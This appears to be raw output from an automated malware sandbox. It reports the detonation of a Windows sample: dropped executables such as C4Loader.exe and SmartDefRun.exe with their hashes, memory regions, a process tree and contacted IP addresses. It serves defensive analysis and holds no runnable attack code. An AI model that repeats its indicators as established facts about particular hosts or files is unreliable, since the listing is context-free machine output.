SHA512 24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

C:\Users\Admin\AppData\Local\Temp\C4Loader.exe

MD5 bb86a343080f9f4696c250ef31a18d9d
SHA1 43b2193dcb1d56eac73ba88a7b461822074192d6
SHA256 095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA512 24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

\Users\Admin\AppData\Local\Temp\new2.exe

MD5 990c8e3fc56a2734631b51fc61a6779a
SHA1 55a16cc67fc52cdf0690387e083955048106d48a
SHA256 d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e
SHA512 f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5

C:\Users\Admin\AppData\Local\Temp\new2.exe

MD5 990c8e3fc56a2734631b51fc61a6779a
SHA1 55a16cc67fc52cdf0690387e083955048106d48a
SHA256 d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e
SHA512 f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5

memory/556-76-0x0000000000000000-mapping.dmp

memory/1952-78-0x0000000000080000-0x00000000000A0000-memory.dmp

memory/1952-80-0x0000000000080000-0x00000000000A0000-memory.dmp

memory/1952-85-0x000000000009ADAE-mapping.dmp

memory/1952-88-0x0000000000080000-0x00000000000A0000-memory.dmp

\Users\Admin\AppData\Local\Temp\new2.exe

MD5 990c8e3fc56a2734631b51fc61a6779a
SHA1 55a16cc67fc52cdf0690387e083955048106d48a
SHA256 d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e
SHA512 f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5

\Users\Admin\AppData\Local\Temp\new2.exe

MD5 990c8e3fc56a2734631b51fc61a6779a
SHA1 55a16cc67fc52cdf0690387e083955048106d48a
SHA256 d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e
SHA512 f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5

memory/1952-87-0x0000000000080000-0x00000000000A0000-memory.dmp

memory/1408-86-0x0000000000000000-mapping.dmp

\Users\Admin\AppData\Local\Temp\new2.exe

MD5 990c8e3fc56a2734631b51fc61a6779a
SHA1 55a16cc67fc52cdf0690387e083955048106d48a
SHA256 d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e
SHA512 f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5

\Users\Admin\AppData\Local\Temp\SysApp.exe

MD5 b6bbab9f72c88d07b484cc339c475e75
SHA1 f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256 dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA512 1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

memory/1612-94-0x0000000000000000-mapping.dmp

\Users\Admin\AppData\Local\Temp\SysApp.exe

MD5 b6bbab9f72c88d07b484cc339c475e75
SHA1 f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256 dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA512 1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

C:\Users\Admin\AppData\Local\Temp\SysApp.exe

MD5 b6bbab9f72c88d07b484cc339c475e75
SHA1 f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256 dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA512 1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

\Users\Admin\AppData\Local\Temp\SmartDefRun.exe

MD5 f5c51e7760315ad0f0238d268c03c60e
SHA1 85ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256 ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512 d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35

C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe

MD5 f5c51e7760315ad0f0238d268c03c60e
SHA1 85ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256 ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512 d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35

memory/1644-97-0x0000000000000000-mapping.dmp

memory/836-99-0x0000000072DA0000-0x000000007334B000-memory.dmp

memory/1612-100-0x0000000001F80000-0x0000000002484000-memory.dmp

memory/1612-101-0x0000000001F80000-0x0000000002484000-memory.dmp

memory/1840-102-0x0000000000DC0000-0x0000000000F2C000-memory.dmp

memory/1612-103-0x0000000002490000-0x00000000025CD000-memory.dmp

memory/1612-105-0x0000000002490000-0x00000000025CD000-memory.dmp

memory/1840-106-0x0000000004EA0000-0x0000000005006000-memory.dmp

memory/1840-109-0x0000000005200000-0x000000000534E000-memory.dmp

memory/1840-110-0x00000000004D0000-0x00000000004E4000-memory.dmp

memory/1984-111-0x000007FEFB531000-0x000007FEFB533000-memory.dmp

memory/1984-112-0x000007FEF3140000-0x000007FEF3B63000-memory.dmp

memory/1984-114-0x0000000002464000-0x0000000002467000-memory.dmp

memory/1612-115-0x0000000001F80000-0x0000000002484000-memory.dmp

memory/1984-113-0x000007FEF25E0000-0x000007FEF313D000-memory.dmp

memory/1984-116-0x000000000246B000-0x000000000248A000-memory.dmp

memory/1612-117-0x0000000002490000-0x00000000025CD000-memory.dmp

memory/1984-118-0x0000000002464000-0x0000000002467000-memory.dmp

memory/1984-119-0x000000000246B000-0x000000000248A000-memory.dmp

\??\PIPE\srvsvc

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5 6ceb39b4187753bb6504725cec236468
SHA1 30a2a6456ccad4f735fd8fa700a86621931ea8f5
SHA256 24bb63be80a84841dff977b67a6b9a4dbfc9344ecd213c755df0263a1740efaf
SHA512 8642190acb122e2a7bbda9a538d2d66595b35f5b46b5674909f5b5c03fa5073c66440b649d6deb810b99a9656dab2bd5dac6d82fb77c4410d09501bc24a3aa4b

memory/1440-123-0x000007FEF3AE0000-0x000007FEF4503000-memory.dmp

memory/1440-124-0x000007FEF2F80000-0x000007FEF3ADD000-memory.dmp

memory/1724-125-0x0000000000000000-mapping.dmp

memory/1652-127-0x0000000000000000-mapping.dmp

memory/1440-128-0x00000000025A4000-0x00000000025A7000-memory.dmp

memory/728-129-0x0000000000000000-mapping.dmp

memory/512-130-0x0000000000000000-mapping.dmp

memory/916-131-0x0000000000000000-mapping.dmp

memory/2028-132-0x0000000000000000-mapping.dmp

memory/1440-126-0x000000001B6F0000-0x000000001B9EF000-memory.dmp

memory/1440-133-0x00000000025AB000-0x00000000025CA000-memory.dmp

memory/756-134-0x0000000000000000-mapping.dmp

memory/1144-135-0x0000000000000000-mapping.dmp

memory/1396-136-0x0000000000000000-mapping.dmp

memory/1640-137-0x0000000000000000-mapping.dmp

memory/1040-138-0x0000000000000000-mapping.dmp

memory/1440-140-0x00000000025AB000-0x00000000025CA000-memory.dmp

memory/1440-139-0x00000000025A4000-0x00000000025A7000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe

MD5 f5c51e7760315ad0f0238d268c03c60e
SHA1 85ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256 ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512 d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35

memory/980-142-0x0000000140001938-mapping.dmp

memory/112-144-0x0000000000000000-mapping.dmp

memory/1960-143-0x0000000000000000-mapping.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2023-01-16 13:34

Reported

2023-01-16 14:47

Platform

win10v2004-20221111-en

Max time kernel

189s

Max time network

234s

Command Line

"C:\Users\Admin\AppData\Local\Temp\17855519b9e1bde7cabf66a422b5671d4d462968.exe"

Signatures

Processes

C:\Users\Admin\AppData\Local\Temp\17855519b9e1bde7cabf66a422b5671d4d462968.exe

"C:\Users\Admin\AppData\Local\Temp\17855519b9e1bde7cabf66a422b5671d4d462968.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 2348 -ip 2348

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 1728 -ip 1728

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 2348 -s 12

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1728 -s 300

Network

Country Destination Domain Proto
N/A 93.184.221.240:80 tcp
N/A 104.80.225.205:443 tcp
N/A 20.50.201.200:443 tcp
N/A 8.8.8.8:53 226.101.242.52.in-addr.arpa udp

Files

memory/2348-132-0x0000000000000000-mapping.dmp

memory/2348-133-0x0000000000400000-0x0000000000405000-memory.dmp